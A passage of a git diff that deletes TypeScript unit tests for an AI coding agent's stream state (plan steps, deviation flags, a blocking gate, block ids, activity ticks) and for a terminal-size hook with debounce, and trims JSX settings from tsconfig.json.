[ - { file: "", action: "investigate" }, - { file: "foo.ts", action: "edit" }, - ])) { - state.addEvent(e); - } - // currentPlanStep is 0 (the investigate step). A write to foo.ts should - // skip step 0 (fileless) and match step 1, advancing the pointer past it. - for (const e of toolCallEvents("write_file", "w1", { path: "foo.ts" })) { - state.addEvent(e); - } - // Step 1 was the last file step; after advancing, currentPlanStep is null. - expect(state.planDeviated).toBe(false); - expect(state.currentPlanStep).toBeNull(); -}); - -test("write_file to a different file while on a fileless step sets planDeviated", () => { - const state = createAgentStreamState(); - for (const e of submitPlanEvents("p1", [ - { file: "", action: "investigate" }, - { file: "foo.ts", action: "edit" }, - ])) { - state.addEvent(e); - } - // Write to a file that does not match the next file step. - for (const e of toolCallEvents("write_file", "w1", { path: "bar.ts" })) { - state.addEvent(e); - } - expect(state.planDeviated).toBe(true); - // currentPlanStep stays at 0 — did not advance. - expect(state.currentPlanStep).toBe(0); -}); - -test("gate count does not stick after an abort while a gate is open", () => { - const state = createAgentStreamState(); - state.markRunning(); - state.setGatePending(true); - expect(state.status).toBe("blocked"); - // Abort the run while the gate is still open, then the gate resolves late. - state.requestStop(); - expect(state.status).toBe("stopped"); - state.setGatePending(false); - // A fresh run must not inherit a stuck gate count and start wedged. - state.markRunning(); - expect(state.status).toBe("running"); - state.setGatePending(true); - expect(state.status).toBe("blocked"); - state.setGatePending(false); - expect(state.status).toBe("running"); -}); - -test("a block keeps its stable id across a submit_plan splice that shifts indices", () => { - const state = createAgentStreamState(); - state.addEvent({ - type: "inference.tool_call.start", - seq: 1, - data: { name: "read_file", callId: "c1" } as unknown as ReactorEmittedEvent["data"], - }); - const before = state.contentBlocks; - const tracked = before.find((b) => b.type === "tool_call"); - expect(tracked).toBeDefined(); - const trackedId = tracked!.id; - const indexBefore = before.findIndex((b) => b.id === trackedId); - - // submit_plan splices its own tool_call out and unshifts a plan block, which - // renumbers array positions — index-keyed expansion state would now point at - // the wrong block; id-keyed state must stay anchored to the same block. - for (const e of submitPlanEvents("plan-1", [{ file: "f", action: "a" }])) { - state.addEvent(e); - } - - const after = state.contentBlocks; - const stillThere = after.find((b) => b.id === trackedId); - expect(stillThere).toBeDefined(); - expect(stillThere!.type).toBe("tool_call"); - const indexAfter = after.findIndex((b) => b.id === trackedId); - expect(indexAfter).not.toBe(indexBefore); -}); - -test("activityTick increments on thinking, text, and tool_call deltas", () => { - const state = createAgentStreamState(); - expect(state.activityTick).toBe(0); - - state.addEvent({ type: "inference.thinking.delta", seq: 1, data: { token: "a" } } as unknown as ReactorEmittedEvent); - expect(state.activityTick).toBe(1); - - state.addEvent({ type: "inference.text.delta", seq: 2, data: { token: "b" } } as unknown as ReactorEmittedEvent); - expect(state.activityTick).toBe(2); - - state.addEvent({ type: "inference.tool_call.start", seq: 3, data: { name: "read_file", callId: "c1" } } as unknown as ReactorEmittedEvent); - state.addEvent({ type: "inference.tool_call.delta", seq: 4, data: { argumentFragment: "{" } } as unknown as ReactorEmittedEvent); - expect(state.activityTick).toBe(3); - - state.clear(); - expect(state.activityTick).toBe(0); -}); diff --git a/tests/unit/tui/use-terminal-size.test.tsx b/tests/unit/tui/use-terminal-size.test.tsx deleted file mode 100644 index 382c3b3be..000000000 --- a/tests/unit/tui/use-terminal-size.test.tsx +++ /dev/null @@ -1,78 +0,0 @@ -import { test, expect, mock } from "bun:test"; -import { render } from "ink-testing-library"; -import { Text } from "ink"; -import { useTerminalSize, debounce } from "../../../src/tui/hooks/use-terminal-size.js"; - -// ink-testing-library's internal Stdout hardcodes columns=100 and has no rows -// property (so rows falls back to the hook's FALLBACK_ROWS=24). These tests -// assert the hook correctly reads what the ink context provides. - -const tick = (): Promise => new Promise((r) => setTimeout(r, 20)); -const fastTick = (): Promise => new Promise((r) => setImmediate(r)); - -function Harness() { - const { columns, rows } = useTerminalSize(); - return {`cols:${columns}|rows:${rows}`}; -} - -test("reads columns from ink stdout context (ink-testing-library provides 100)", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("cols:100"); -}); - -test("rows falls back to 24 when stdout has no rows property", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("rows:24"); -}); - -test("hook re-renders on resize: columns update is reflected in frame", async () => { - // ink-testing-library's Stdout.columns is a read-only getter returning 100. - // We can verify the hook registers a resize listener by checking it doesn't - // throw and the initial frame is stable after a resize event. - const { lastFrame, stdout } = render(); - expect(lastFrame()).toContain("cols:100"); - // Emitting resize without changing columns should re-read the same value. - stdout.emit("resize"); - await tick(); - expect(lastFrame()).toContain("cols:100"); -}); - -test("debounce coalesces rapid calls into a single invocation", async () => { - const fn = mock(() => {}); - const debounced = debounce(fn, 50); - - debounced(); - debounced(); - debounced(); - - await fastTick(); - expect(fn).toHaveBeenCalledTimes(0); - - await new Promise((r) => setTimeout(r, 60)); - expect(fn).toHaveBeenCalledTimes(1); -}); - -test("debounce trailing call uses latest arguments", async () => { - const fn = mock(() => {}); - const debounced = debounce(fn, 50); - - debounced("first"); - debounced("second"); - debounced("third"); - - await new Promise((r) => setTimeout(r, 60)); - expect(fn).toHaveBeenCalledWith("third"); - expect(fn).toHaveBeenCalledTimes(1); -}); - -test("debounce clears pending timer on cleanup", async () => { - const fn = mock(() => {}); - const debounced = debounce(fn, 100); - - debounced(); - const cleanup = debounced.cleanup; - cleanup(); - - await new Promise((r) => setTimeout(r, 150)); - expect(fn).not.toHaveBeenCalled(); -}); diff --git a/tsconfig.json b/tsconfig.json index 6a2020297..1b028ffa9 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -3,13 +3,11 @@ "compilerOptions": { "noEmit": true, "composite": false, - "jsx": "react-jsx", - "jsxImportSource": "react", "baseUrl": ".", "paths": { "@corbits/provider-opencode-go": ["./packages/opencode-go/src/index.ts"], "@corbits/first-class-providers": ["./packages/first-class-providers/src/index.ts"] } }, - "include": ["src/**/*.ts", "src/**/*.tsx", "packages/**/*.ts"] + "include": ["src/**/*.ts", "packages/**/*.ts"] }